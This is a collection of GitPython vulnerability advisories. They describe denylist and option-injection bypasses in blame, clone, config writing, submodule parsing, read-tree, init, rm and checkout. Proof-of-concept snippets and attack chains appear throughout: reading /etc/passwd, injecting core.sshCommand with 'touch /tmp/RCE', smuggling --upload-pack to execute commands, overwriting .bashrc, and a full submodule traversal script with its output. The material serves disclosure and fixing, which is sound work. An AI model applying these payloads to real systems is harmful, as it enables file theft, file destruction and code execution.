Threats affecting pkg:brew/otterdog

## Summary `Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory). ## Root Cause `unsafe_git_revision_options = ["--output","-o"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision. ## Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`. ## Proof of Concept ```python result = repo.blame("--contents=/etc/passwd", "a.txt") # result rows carry the victim file's line text ``` ## Attack Chain 1. Entry: app calls `repo.blame(rev, file)` with attacker `rev="--contents=/etc/passwd"` (or kwarg `contents="/etc/passwd"`, or `-S`). 2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `["--output","-o"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error. 3. Sink: `self.git.blame(rev, "--", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`. 4. Impact: blame result rows carry the victim file's line text. ## Bypass Evidence Independently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded. ## Affected Versions `GitPython <= 3.1.58` (denylist present verbatim on the latest release tag). ## Suggested Fix Prefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule "the option takes a filesystem path" rather than "the option writes output". --- Reported by **zx (Jace)** — GitHub: @manus-use

- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs. - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability `Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.). `git clone` also accepts `--separate-git-dir=<path>`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: <path>`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *"Redirects the repository metadata to a caller-controlled path"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit: ``` :param allow_unsafe_options: Allow unsafe options to be used, such as ``--template`` and ``--separate-git-dir``. ``` i.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**: ```python unsafe_git_clone_options = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ] ``` So any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`. ## Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed). ## Exploit path 1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `"separate-git-dir"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`. 2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised. 3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=<attacker path>` and GitPython executes `git clone -v --separate-git-dir=<attacker path> -- <url> <dest>` via `subprocess` (no shell). 4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it. ## Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application in

- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ## Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ## Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry,

# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`) - **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability `GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` ("Disable merge_includes in config writers"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`). That fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository. `GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction. Once opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call. ## Root cause Parity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.) ## Exploit path 1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus: ``` [include] path = /etc/passwd ``` (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required. 3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error). ## Impact Non-blind local file content disclosure (first line) of any file readab

### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule

## Summary GitPython's config-name validator only neutralizes CR/LF/NUL for the `"option"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch <cmd> #` is written as `\tsshCommand = touch <cmd> # = <value>`, which git parses as `core.sshCommand = touch <cmd>` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection). ## Root Cause `_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == "section"`; for the `"option"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\r\n\x00]` regex. `write_section` then writes the option name verbatim into `"\t%s = %s\n"` (config.py:702). ## Impact Arbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration. ## Proof of Concept ```python with repo.config_writer() as cw: cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x") # git config --get core.sshCommand -> touch /tmp/RCE ``` ## Attack Chain 1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value("core", "sshCommand = touch /tmp/RCE #", "x")`. 2. Check: `_assure_config_name_safe(option, "option")` @ config.py. Guard: regex matches only `[\r\n\x00]`; bracket/quote state machine is gated on `label=="section"`. Bypass proof: `=`,`#`,space pass → no `ValueError`. 3. Sink: `write_section` writes `"\tsshCommand = touch /tmp/RCE # = x\n"` (config.py:702). 4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op. ## Bypass Evidence Independently reproduced (gate harness): `set_value('core','sshCommand = touch <RCE> #','x')` → no `ValueError`; file line `sshCommand = touch <RCE> # = x`; `git config --get core.sshCommand` → `touch <RCE>` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == "section"`; the `"option"` label is not covered. ## Affected Versions `GitPython <= 3.1.57` (validator present verbatim on the latest release tag). ## Suggested Fix Apply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `"option"` label as well, or validate the fully-rendered config line after substitution. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ## Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ## Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ## Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ## Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ## Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ## Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ## Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ## Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ## Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") # target overwritten with a valid git-index blob (DIRC...) ``` ## Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ## Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ## Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink.

## Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ## Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ## Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ## Proof of Concept ```python # attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") # next commit runs /evil/hooks/post-commit -> ACE ``` ## Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ## Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ## Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 